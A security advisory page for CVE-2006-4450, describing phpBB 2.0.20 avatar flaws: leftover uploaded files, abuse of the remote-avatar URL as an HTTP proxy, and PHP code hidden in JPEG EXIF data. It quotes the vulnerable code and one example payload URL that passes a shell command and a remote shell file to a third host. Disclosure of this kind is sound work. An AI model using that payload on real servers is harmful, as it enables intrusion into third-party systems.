SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

PHPBB 2.0.20 persistent issues with avatars


Arrow  SecurityAlert : 1470
Arrow  CVE : CVE-2006-4450
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : rgod
Arrow  Published : 31.08.2006

Arrow  Affected Software : PHPBB 2.0.20



Arrow  Advisory Content :  

PHPBB 2.0.20 multiple issues with avatars

some problems persistently lie in the way it handles remote and uploaded
avatars:

a remote user can:
 
(1) saturate the server with unuseful files, 'cause phpbb do not delete
the previous one when you upload a new avatar

(2) use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.

Look usercp_avatar.php near lines 125-153:
...
if ( $avatar_mode == 'remote' &&
preg_match('/^(http://)?([w-.]+):?([0-9]*)/(.*)$/', $avatar_filename,
$url_ary) )
        {
                if ( empty($url_ary[4]) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg .
'<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
                        return;
                }

                $base_get = '/' . $url_ary[4];
                $port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

                if ( !($fsock = <img src="/imgs/at.gif" border=0
align=middle>fsockopen($url_ary[2], $port, $errno, $errstr)) )
                {
                        $error = true;
                        $error_msg = ( !empty($error_msg) ) ? $error_msg .
'<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];
                        return;
                }

                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"GET $base_get HTTP/1.1rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"HOST: " . $url_ary[2] . "rn");
                <img src="/imgs/at.gif" border=0 align=middle>fputs($fsock,
"Connection: closernrn");

                unset($avatar_data);
                while( !<img src="/imgs/at.gif" border=0
align=middle>feof($fsock) )
                {
                        $avatar_data .= <img src="/imgs/at.gif" border=0
align=middle>fread($fsock, $board_config['avatar_filesize']);
                }
                <img src="/imgs/at.gif" border=0
align=middle>fclose($fsock);
...

phpbb do not check if the user supplied value ends with an image extension,
neither
checks if the supplied string contains "&" and "?" chars. So, you can
submit a value
like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://somehost
/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt
HTTP/1.0
HOST: some_vulnerable.host
Connection: close
 
obviously you have no output, but this makes phpbb to be like a http proxy

(3) inject some php code inside jpeg files as EXIF metadata content:
this, in combinations with third party vulnerable code can be used
to compromise the server where PHP is installed.
Should be enough to check for php code inside the temporary files
before to copy the new avatar in "images/avatars/" folder.

rgod
---------------------------------------------------------------------------
------
mail: rgod [at] autistici [dot] org
site: http://retrogod.altervista.org





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.